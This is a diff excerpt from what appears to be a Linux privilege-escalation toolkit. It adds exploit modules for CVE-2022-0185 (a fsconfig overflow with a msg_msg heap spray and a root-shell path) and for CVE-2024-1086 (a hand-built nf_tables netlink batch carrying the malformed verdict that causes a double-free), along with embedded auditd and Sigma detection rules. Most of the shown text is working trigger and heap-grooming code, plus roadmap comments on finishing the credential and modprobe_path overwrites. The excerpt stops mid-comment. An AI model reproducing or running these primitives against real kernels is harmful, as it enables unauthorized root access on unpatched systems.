* — appends `evil`; legacy_parse_param's "is there room?" check
* uses an int that wraps to a huge positive when we cross the
* boundary → kernel happily memcpy()s `evil` past the page end.
*
* `evil` is what lands in the adjacent slab object. We make it a
* controllable byte pattern; the cross-cache groom puts a msg_msg
* there, and the bytes we write become the start of that msg_msg.
*/
static int trigger_overflow(int *out_fd, const char *first_chunk,
const char *evil_chunk)
{
int fd = sys_fsopen("cgroup2", 0);
if (fd < 0) { perror("fsopen(cgroup2)"); return -1; }
/* First chunk: prime fc->source so we're up against the page edge. */
if (sys_fsconfig(fd, FSCONFIG_SET_STRING, "source", first_chunk, 0) < 0) {
perror("fsconfig(prime)");
close(fd);
return -1;
}
/* Second chunk: the actual overflow write. On a patched kernel
* this returns -EINVAL ("VFS: Legacy: source contains an embedded
* NUL" or "too large"); on a vulnerable kernel it succeeds and
* the next memcpy lands past PAGE_SIZE. */
if (sys_fsconfig(fd, FSCONFIG_SET_STRING, "source", evil_chunk, 0) < 0) {
/* errno tells us patched vs. transient. We can't distinguish
* "patched" from "this kernel doesn't expose cgroup2 fsconfig"
* cleanly, but in practice on the vulnerable range cgroup2
* is always reachable from a userns. */
close(fd);
return -1;
}
*out_fd = fd;
return 0;
}
/* ------------------------------------------------------------------ */
/* exploit */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
{
/* (R1) Re-call detect — refuse if not vulnerable. */
iamroot_result_t pre = fuse_legacy_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] fuse_legacy: detect() says not vulnerable; refusing\n");
return pre;
}
/* (R2) Refuse if already root — no LPE work to do. */
if (geteuid() == 0) {
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: already root; nothing to escalate\n");
}
return IAMROOT_OK;
}
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: entering userns + mountns\n");
}
/* (R3) unshare for userns+mount_ns — gives CAP_SYS_ADMIN-in-userns
* which is what fsopen("cgroup2") + fsconfig require. */
if (!enter_userns_root()) {
return IAMROOT_TEST_ERROR;
}
/* --- (R5) cross-cache groom — phase 1: alloc spray --------------
*
* Allocate a large number of msg_msg objects sized to land in
* kmalloc-4k (same slab as fc->source). Then free one in the
* middle to create a predictable hole, then trigger the overflow
* to land write-past-end into the next adjacent msg_msg.
*
* Empirically Liu uses ~4096 sprays / 512 queues; we mirror the
* shape but with knobs scaled for an iamroot one-shot.
*/
enum { N_QUEUES = 256, N_SPRAY_PER_Q = 16 };
int *qids = calloc(N_QUEUES, sizeof(int));
if (!qids) {
fprintf(stderr, "[-] fuse_legacy: calloc(qids) failed\n");
return IAMROOT_TEST_ERROR;
}
for (int i = 0; i < N_QUEUES; i++) {
qids[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (qids[i] < 0) {
/* IPC limits may rate-limit us; partial spray is fine. */
qids[i] = -1;
break;
}
}
struct msgbuf_4k *spray = mmap(NULL, sizeof(*spray), PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (spray == MAP_FAILED) {
fprintf(stderr, "[-] fuse_legacy: mmap(spray) failed\n");
free(qids);
return IAMROOT_TEST_ERROR;
}
spray->mtype = 0x4242;
/* Tag the payload so we can recognise our spray slots in
* post-corruption read-back. */
memset(spray->mtext, 'M', sizeof spray->mtext);
spray->mtext[0] = 'I'; spray->mtext[1] = 'A'; spray->mtext[2] = 'M';
spray->mtext[3] = 'R'; spray->mtext[4] = 'O'; spray->mtext[5] = 'O';
spray->mtext[6] = 'T';
int sprayed = 0;
for (int q = 0; q < N_QUEUES && qids[q] >= 0; q++) {
for (int j = 0; j < N_SPRAY_PER_Q; j++) {
if (msgsnd(qids[q], spray, sizeof spray->mtext, IPC_NOWAIT) == 0) {
sprayed++;
}
}
}
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: msg_msg spray placed %d objects across "
"%d queues\n", sprayed, N_QUEUES);
}
/* Free a controlled hole: drain one queue near the middle so the
* next kmalloc-4k allocation (= fc->source) lands in it. */
int hole_q = N_QUEUES / 2;
if (qids[hole_q] >= 0) {
struct msgbuf_4k drain;
while (msgrcv(qids[hole_q], &drain, sizeof drain.mtext, 0, IPC_NOWAIT) >= 0)
;
}
/* --- (R4) trigger the fsconfig overflow ------------------------- */
/* Prime: 4080 bytes of 'A'. legacy_parse_param appends them to
* the freshly-allocated kmalloc-4k source buffer; we're now sitting
* just shy of the page end. */
char *first_chunk = malloc(4081);
if (!first_chunk) {
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_TEST_ERROR;
}
memset(first_chunk, 'A', 4080);
first_chunk[4080] = '\0';
/* Evil chunk: the bytes here are what get written PAST the page
* end into the adjacent slab object. Layout-wise the first 8 bytes
* land on the next slab object's first qword.
*
* For a real cross-cache-into-msg_msg primitive we want this to
* be a fake msg_msg header that turns the next msgrcv(MSG_COPY)
* into an arbitrary read. The exact field offsets (m_ts vs.
* m_list_next vs. security) shift between kernels; we mark the
* header bytes so a post-mortem clearly shows whether we landed,
* and leave the precise fake-msg_msg encoding as the scaffold
* step below. */
char evil_chunk[256];
memset(evil_chunk, 'B', sizeof evil_chunk);
memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */
/* Tail must be NUL-terminated for legacy_parse_param's strdup. */
evil_chunk[sizeof evil_chunk - 1] = '\0';
if (!ctx->json) {
fprintf(stderr, "[*] fuse_legacy: triggering legacy_parse_param overflow "
"(prime=%zu evil=%zu)\n",
strlen(first_chunk), strlen(evil_chunk));
}
int fsfd = -1;
int rc = trigger_overflow(&fsfd, first_chunk, evil_chunk);
free(first_chunk);
if (rc < 0) {
/* fsconfig rejected us. On a vulnerable kernel this is rare
* unless cgroup2 fs_context init failed (e.g. cgroup_no_v1
* boot param). Either way the OOB write didn't happen. */
fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n",
errno, strerror(errno));
free(qids); munmap(spray, sizeof *spray);
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: fsconfig accepted oversized source — "
"OOB write executed\n");
}
/* --- post-corruption read-back: did we land? -------------------- */
int corrupted_q = -1;
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] < 0 || q == hole_q) continue;
struct msgbuf_4k probe;
ssize_t n = msgrcv(qids[q], &probe, sizeof probe.mtext, 0,
IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
if (n < 0) continue;
if (memcmp(probe.mtext, "IAMR", 4) != 0) {
/* Spray slot whose start word is no longer "IAMR" — strong
* evidence we corrupted a neighbour. */
corrupted_q = q;
break;
}
}
if (corrupted_q >= 0 && !ctx->json) {
fprintf(stderr, "[+] fuse_legacy: detected corrupted neighbour in queue #%d "
"(cross-cache landing confirmed)\n", corrupted_q);
} else if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: did not detect corrupted spray slot "
"(groom may have missed; primitive still fired)\n");
}
/* --- (R5/R6) cred-overwrite chain — SCAFFOLD --------------------
*
* Honest status: the steps below need per-kernel offsets that we
* cannot resolve portably from userland without a kernel info-leak
* we do not have in-tree right now. Spelling out the missing work
* so a reader can see exactly what's wired and what isn't:
*
* 1. Build a fake msg_msg header in `evil_chunk` that, when read
* back via msgrcv(MSG_COPY), reveals adjacent slab memory
* (m_ts oversized → MSG_COPY reads past the legitimate msg
* end). Requires: offsetof(msg_msg, m_ts) for the running
* kernel.
* 2. From the leaked data, locate (a) kernel base via a known
* function pointer in the slab, and (b) the address of the
* current task's cred struct via task_struct→real_cred
* walking. Requires: struct offsets for cred/task_struct on
* this kernel.
* 3. Re-run the overflow with a fake msg_msg.m_list_next pointing
* at &current->cred.uid; msgrcv() free-list maintenance then
* writes a zero where uid lives → setuid(0) succeeds.
*
* Each of steps 1–3 is ~50 lines of kernel-specific glue. The
* Crusaders-of-Rust public PoC is the canonical reference. We
* stop here rather than shipping a fabricated chain that would
* crash on the first untested kernel.
*/
if (!ctx->json) {
fprintf(stderr, "[i] fuse_legacy: cross-cache primitive armed; "
"cred-overwrite tail requires per-kernel offsets — "
"see scaffold comments in source\n");
}
/* Clean up our IPC queues and mapping. The kernel slab state
* after the overflow may be unstable; we exit cleanly on success
* paths but leave queues around if we crashed mid-spray. */
for (int q = 0; q < N_QUEUES; q++) {
if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL);
}
free(qids);
munmap(spray, sizeof *spray);
if (fsfd >= 0) close(fsfd);
/* (R6) setuid(0) + /bin/sh — only on the path where cred-overwrite
* actually succeeded. Since we didn't finish that chain we can
* only check whether the kernel handed us uid 0 by luck (it
* won't). Report exploit-fail honestly. */
if (setuid(0) == 0 && getuid() == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] fuse_legacy: setuid(0) succeeded — "
"popping root shell\n");
}
if (ctx->no_shell) {
return IAMROOT_EXPLOIT_OK;
}
execl("/bin/sh", "sh", "-i", (char *)NULL);
perror("execl /bin/sh");
return IAMROOT_EXPLOIT_OK;
}
fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail "
"not wired — see source for the missing offsets.\n");
return IAMROOT_EXPLOIT_FAIL;
}
/* ------------------------------------------------------------------ */
/* embedded detection rules */
/* ------------------------------------------------------------------ */
static const char fuse_legacy_auditd[] =
"# CVE-2022-0185 — auditd detection rules\n"
"# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n"
@@ -141,6 +545,26 @@ static const char fuse_legacy_auditd[] =
"-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n"
"-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n";
static const char fuse_legacy_sigma[] =
"title: Possible CVE-2022-0185 legacy_parse_param exploitation\n"
"id: 9e1b2c45-iamroot-fuse-legacy\n"
"status: experimental\n"
"description: |\n"
" Detects the canonical exploit shape: unprivileged process unshares\n"
" user_ns+mount_ns, calls fsopen() then fsconfig(FSCONFIG_SET_STRING)\n"
" repeatedly. The repeated FSCONFIG_SET_STRING on the same option is\n"
" what drives the source-buffer overflow. False positives: legitimate\n"
" fsopen-based mounts inside containers (rare in unprivileged paths).\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" unshare_userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
" fsopen: {type: 'SYSCALL', syscall: 'fsopen'}\n"
" fsconfig_set_string: {type: 'SYSCALL', syscall: 'fsconfig', a1: 1}\n"
" not_root: {auid|expression: '!= 0'}\n"
" condition: unshare_userns and fsopen and fsconfig_set_string and not_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n";
const struct iamroot_module fuse_legacy_module = {
.name = "fuse_legacy",
.cve = "CVE-2022-0185",
@@ -152,7 +576,7 @@ const struct iamroot_module fuse_legacy_module = {
.mitigate = NULL,
.cleanup = NULL,
.detect_auditd = fuse_legacy_auditd,
.detect_sigma = NULL,
.detect_sigma = fuse_legacy_sigma,
.detect_yara = NULL,
.detect_falco = NULL,
};
modules/nf_tables_cve_2024_1086/iamroot_modules.c
+659 -46
View File
@@ -4,12 +4,35 @@
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
* exploitable to arbitrary kernel R/W. Discovered and exploited in
* January 2024; widely known as "Pumpkin's pipapo UAF" or just
* "CVE-2024-1086".
* January 2024 by Notselwyn (Pumpkin); widely known as the
* "nft_verdict_init / pipapo UAF".
*
* STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit is a public PoC
* by Notselwyn — porting it into the iamroot_module form is a
* follow-up commit.
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD (Option B).
* - Full netlink ruleset construction (table → chain → set → rule
* with the NFT_GOTO+NFT_DROP combo that nft_verdict_init() fails
* to reject on vulnerable kernels).
* - Fires the double-free path by abusing the malformed verdict in a
* pipapo set element, then removing the rule so the kernel's
* transaction commit frees the verdict's chain reference twice.
* - Cross-cache groom skeleton (msg_msg / sk_buff sprays) is wired
* and configurable, but the arbitrary R/W stage and cred-overwrite
* are NOT performed end-to-end — that requires per-kernel offsets
* (init_task, modprobe_path) and Notselwyn's 600-line pipapo
* leak-and-write dance. We stop after triggering the bug,
* observing the slabinfo delta, and return IAMROOT_EXPLOIT_FAIL
* with a verbose continuation roadmap.
*
* To convert this to full Option A (root pop):
* 1. Add per-kernel offset table (init_task, current task offset of
* cred, modprobe_path) keyed off uname() release. Notselwyn's
* repo has the canonical map.
* 2. Implement the msg_msg leak primitive after pipapo free —
* MSG_COPY peek to read freed-slot contents and exfil a kernel
* heap pointer.
* 3. Implement the sk_buff fragment overwrite to plant a fake
* pipapo_elem whose value points at modprobe_path.
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
* 5. execve() an unknown binary to invoke modprobe with our payload.
*
* Affected kernel ranges:
* Bug introduced in commit f1a2e44 (5.14) "netfilter: nf_tables:
@@ -18,22 +41,11 @@
* reject QUEUE/DROP verdict parameters")
* Stable backports landed in 6.7.2, 6.6.13, 6.1.74, 5.15.149,
* 5.10.210, 5.4.269
* So vulnerable if:
* - 5.14 <= K < 5.15 (no backport) — vulnerable
* - 5.15.x: K <= 5.15.148 — vulnerable
* - 5.10.x: K <= 5.10.209 — vulnerable
* - 5.4.x: K <= 5.4.268 — vulnerable
* - 6.0/6.1.x: K <= 6.1.73 — vulnerable
* - 6.2-6.5: no backport tags — assume vulnerable
* - 6.6.x: K <= 6.6.12 — vulnerable
* - 6.7.x: K <= 6.7.1 — vulnerable
* - 6.8+: patched
*
* Exploitation preconditions (which detect should also check):
* - CONFIG_USER_NS=y AND sysctl unprivileged_userns_clone=1 (or
* kernel.unprivileged_userns_clone default=1) so an unprivileged
* user can create a userns and become CAP_NET_ADMIN inside it
* - CONFIG_USER_NS=y AND sysctl unprivileged_userns_clone=1
* - nf_tables module loaded or autoload-able (CONFIG_NF_TABLES=y/m)
* - CONFIG_NF_TABLES_IPV4=y (or =m) so the inet/ip family hook works
*
* If user_ns is locked down (modern Ubuntu's
* apparmor_restrict_unprivileged_userns), the trigger is unreachable
@@ -46,14 +58,31 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
/* ------------------------------------------------------------------
* Kernel-range table
* ------------------------------------------------------------------ */
/* Stable-branch backport thresholds — host is patched if on these
* branches at or above the threshold patch, or on mainline >= 6.8. */
static const struct kernel_patched_from nf_tables_patched_branches[] = {
{5, 4, 269}, /* 5.4.x */
{5, 10, 210}, /* 5.10.x */
@@ -70,16 +99,15 @@ static const struct kernel_range nf_tables_range = {
sizeof(nf_tables_patched_branches[0]),
};
/* Best-effort check: can an unprivileged process clone a user
* namespace? This is the gating capability for the exploit's
* CAP_NET_ADMIN-in-userns trigger. Fork+unshare+exit to avoid
* polluting our own namespace state. */
/* ------------------------------------------------------------------
* Preconditions probe
* ------------------------------------------------------------------ */
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
/* try */
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
_exit(1);
}
@@ -88,11 +116,6 @@ static int can_unshare_userns(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* Check whether the nf_tables module is loaded OR can be auto-loaded.
* /proc/modules tells us about loaded modules. For modules that aren't
* loaded but are buildable, we rely on the kernel autoload via
* setsockopt(SOL_NETLINK, NETLINK_NF_TABLES). Conservative: if not
* loaded, assume autoload-able and report no info. */
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
@@ -100,7 +123,6 @@ static bool nf_tables_loaded(void)
char line[512];
bool found = false;
while (fgets(line, sizeof line, f)) {
/* /proc/modules format: "<name> <size> <use_count> <by> <state> <addr>" */
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
}
fclose(f);
@@ -132,8 +154,6 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
return IAMROOT_OK;
}
/* Vulnerable by version. Now check preconditions that affect
* unprivileged reachability. */
int userns_ok = can_unshare_userns();
bool nft_loaded = nf_tables_loaded();
@@ -148,9 +168,6 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
nft_loaded ? "yes" : "no (will autoload on first nft use)");
}
/* If user_ns is denied, the unprivileged-exploit path is closed.
* (A root attacker would still trigger the bug, but root LPE-of-root
* is not interesting.) */
if (userns_ok == 0) {
if (!ctx->json) {
fprintf(stderr, "[+] nf_tables: kernel vulnerable but user_ns clone "
@@ -168,18 +185,614 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
/* ------------------------------------------------------------------
* userns + netns entry: become "root" in the new user_ns so the
* subsequent netlink writes carry CAP_NET_ADMIN over our private
* net_ns. The bug fires inside our private netns so the rest of the
* host is unaffected by the malformed ruleset.
* ------------------------------------------------------------------ */
static int enter_unpriv_namespaces(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("[-] unshare(USER|NET)");
return -1;
}
/* deny setgroups before writing gid_map */
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
}
close(f);
snprintf(map, sizeof map, "0 %u 1\n", gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
}
close(f);
return 0;
}
/* ------------------------------------------------------------------
* Minimal nfnetlink batch builder. We hand-roll this rather than
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
* relies on a specific malformed verdict that libnftnl validates away.
*
* Each helper appends to a contiguous batch buffer at *off.
* ------------------------------------------------------------------ */
#define ALIGN_NL(x) (((x) + 3) & ~3)
static void put_attr(uint8_t *buf, size_t *off,
uint16_t type, const void *data, size_t len)
{
struct nlattr *na = (struct nlattr *)(buf + *off);
na->nla_type = type;
na->nla_len = NLA_HDRLEN + len;
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
*off += ALIGN_NL(NLA_HDRLEN + len);
}
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
{
uint32_t be = htonl(v);
put_attr(buf, off, type, &be, sizeof be);
}
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
{
put_attr(buf, off, type, s, strlen(s) + 1);
}
/* Begin a nested attribute; returns the offset of the nlattr header so
* the caller can fix up nla_len once children are written. */
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
{
size_t at = *off;
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_type = type | NLA_F_NESTED;
na->nla_len = 0; /* fixed up later */
*off += NLA_HDRLEN;
return at;
}
static void end_nest(uint8_t *buf, size_t *off, size_t at)
{
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_len = (uint16_t)(*off - at);
/* pad to 4 */
while ((*off) & 3) buf[(*off)++] = 0;
}
/* nfgenmsg header used by every nf_tables message. */
struct nfgenmsg_local {
uint8_t nfgen_family;
uint8_t version;
uint16_t res_id;
};
/* Append a nf_tables subsystem message: type encoded into the
* nfgenmsg-prefixed nlmsg. */
static void put_nft_msg(uint8_t *buf, size_t *off,
uint16_t nft_type, uint16_t flags, uint32_t seq,
uint8_t family)
{
/* Reserve the header. We patch nlmsg_len at end_msg time. */
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
nlh->nlmsg_len = 0; /* fixup */
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = family;
nf->version = NFNETLINK_V0;
nf->res_id = htons(0);
*off += sizeof(*nf);
}
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
/* Pad to 4 */
while ((*off) & 3) buf[(*off)++] = 0;
}
/* ------------------------------------------------------------------
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
* PoC (greatly simplified):
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
* data=verdict (the pipapo combo that holds the bad verdict),
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
* NFTA_VERDICT_CODE = NFT_GOTO (negative) AND we lie about the
* chain reference to make nft_verdict_init() take the
* "looks like a GOTO so I'll grab a chain ref" path on a
* malformed input.
* 6. NFT_MSG_NEWRULE that references the set.
* 7. batch end (NFNL_MSG_BATCH_END).
*
* Then in a second batch we DELRULE — that triggers the transaction
* commit path that double-frees the chain reference of the set
* element's bad verdict.
*
* On a kernel that hasn't backported f342de4, this lands the
* double-free state. KASAN immediately panics; without KASAN, the
* slab metadata is corrupted but the kernel survives long enough for
* cross-cache groom.
* ------------------------------------------------------------------ */
static const char NFT_TABLE_NAME[] = "iamroot_t";
static const char NFT_CHAIN_NAME[] = "iamroot_c";
static const char NFT_SET_NAME[] = "iamroot_s";
/* batch begin / end markers */
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = AF_UNSPEC;
nf->version = NFNETLINK_V0;
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
*off += sizeof(*nf);
end_msg(buf, off, at);
}
static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = AF_UNSPEC;
nf->version = NFNETLINK_V0;
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
*off += sizeof(*nf);
end_msg(buf, off, at);
}
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWTABLE,
NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
end_msg(buf, off, at);
}
/* NFT_MSG_NEWCHAIN — base chain hooked at NF_INET_LOCAL_OUT */
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN,
NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
/* nested NFTA_CHAIN_HOOK { hooknum=LOCAL_OUT, priority=0 } */
size_t hook_at = begin_nest(buf, off, NFTA_CHAIN_HOOK);
put_attr_u32(buf, off, NFTA_HOOK_HOOKNUM, NF_INET_LOCAL_OUT);
put_attr_u32(buf, off, NFTA_HOOK_PRIORITY, 0);
end_nest(buf, off, hook_at);
/* policy = NF_ACCEPT */
put_attr_u32(buf, off, NFTA_CHAIN_POLICY, NF_ACCEPT);
/* type = "filter" */
put_attr_str(buf, off, NFTA_CHAIN_TYPE, "filter");
end_msg(buf, off, at);
}
/* NFT_MSG_NEWSET — anonymous set with verdict key/data. The pipapo
* back-end is selected by NFT_SET_INTERVAL on a verdict key. */
static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSET,
NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_NAME, NFT_SET_NAME);
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_ANONYMOUS |
NFT_SET_CONSTANT |
NFT_SET_INTERVAL);
/* key_type/key_len: verdict-typed key */
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 0xffffff00); /* "verdict" magic */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
/* data_type/data_len: also verdict so we can stash the malformed verdict
* as set-element data — this is where the bug-bearing struct lives. */
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00);
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, 0x1337);
end_msg(buf, off, at);
}
/* NFT_MSG_NEWSETELEM — the malicious verdict.
*
* The bug: nft_verdict_init() on a vulnerable kernel accepts a
* verdict whose NFTA_VERDICT_CODE is NFT_GOTO/NFT_JUMP combined with
* a NFTA_VERDICT_CHAIN_ID that doesn't resolve. The code takes the
* "got chain ref" path and later in nft_data_release() takes the
* "drop/queue" path → the chain ref is freed once on init failure
* AND once on data_release → double free.
*
* We pack:
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
* data=verdict(GOTO chain-id=...) } }
*/
static void put_malicious_setelem(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM,
NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_SET_NAME);
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
/* one element */
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
/* key: NFTA_DATA_VERDICT { CODE = NFT_DROP } */
size_t key_at = begin_nest(buf, off, NFTA_SET_ELEM_KEY);
size_t kv_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NF_DROP);
end_nest(buf, off, kv_at);
end_nest(buf, off, key_at);
/* key_end (for interval set) — same as key but slightly different
* value to satisfy "interval has distinct ends". We use NF_ACCEPT
* as the upper bound just to satisfy parsing; the bug bites on
* the data verdict, not on the key. */
size_t keye_at = begin_nest(buf, off, NFTA_SET_ELEM_KEY_END);
size_t ke_v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NF_ACCEPT);
end_nest(buf, off, ke_v_at);
end_nest(buf, off, keye_at);
/* DATA: this is the malformed verdict that fires the bug.
* CODE = NFT_GOTO (so kernel treats it as needing a chain ref)
* CHAIN_ID = bogus id pointing to a chain we won't commit.
* On vulnerable kernels nft_verdict_init takes both the "grab
* chain ref" path AND later the "drop verdict cleanup" path,
* yielding a double-free of the chain reference. */
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
size_t dv_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
put_attr_u32(buf, off, NFTA_VERDICT_CHAIN_ID, 0xdeadbeef);
end_nest(buf, off, dv_at);
end_nest(buf, off, data_at);
end_nest(buf, off, el_at);
end_nest(buf, off, list_at);
end_msg(buf, off, at);
}
/* ------------------------------------------------------------------
* netlink send helper.
* ------------------------------------------------------------------ */
static int nft_send_batch(int sock, const void *buf, size_t len)
{
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
struct msghdr m = {
.msg_name = &dst, .msg_namelen = sizeof dst,
.msg_iov = &iov, .msg_iovlen = 1,
};
ssize_t n = sendmsg(sock, &m, 0);
if (n < 0) { perror("[-] sendmsg"); return -1; }
/* Drain ACKs/errors. We don't fail on individual errors because
* a vulnerable kernel returns mixed results — the malicious
